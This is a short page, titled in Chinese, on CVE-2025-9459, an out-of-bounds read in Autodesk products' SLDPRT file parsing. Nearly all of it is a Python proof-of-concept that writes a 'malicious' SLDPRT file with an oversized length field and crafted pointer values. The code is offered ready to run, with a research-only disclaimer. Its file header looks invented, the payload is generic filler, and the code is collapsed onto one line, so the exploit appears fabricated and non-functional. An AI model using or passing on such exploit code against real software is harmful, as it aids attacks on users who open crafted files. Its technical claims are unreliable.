CVE-2025-9459: Autodesk产品SLDPRT文件解析越界读取漏洞

#!/usr/bin/env python3 """ CVE-2025-9459 PoC - Malicious SLDPRT File Generator This PoC demonstrates the structure needed to trigger OOB read in Autodesk products. Note: This is for educational and security research purposes only. """ import struct import os def create_malicious_sldprt(output_path): """ Generate a malicious SLDPRT file that triggers OOB read vulnerability. The vulnerability exists in the SLDPRT file parsing routine. """ # SLDPRT file header structure header = b'DXF_SLDPRT' # Magic bytes header += struct.pack('<I', 0x00001000) # Version header += struct.pack('<I', 0x00000001) # Flags # Malicious payload that triggers OOB read # This exploits insufficient bounds checking in parsing routine payload = bytearray() # Crafted length field that exceeds buffer size # This causes the parser to read beyond allocated memory payload += struct.pack('<I', 0xFFFFFFFF) # Malicious length payload += b'\x41' * 1024 # Padding data # Additional malformed data structures for i in range(16): payload += struct.pack('<Q', 0x4141414141414141) # Crafted pointers # Write the malicious SLDPRT file with open(output_path, 'wb') as f: f.write(header + payload) print(f"[+] Malicious SLDPRT file created: {output_path}") print(f"[+] File size: {len(header + payload)} bytes") print("[*] When opened in affected Autodesk products, this file may trigger OOB read") if __name__ == '__main__': output_file = 'malicious_cve_2025_9459.sldprt' create_malicious_sldprt(output_file) print("\n[!] Disclaimer: This PoC is for authorized security testing only")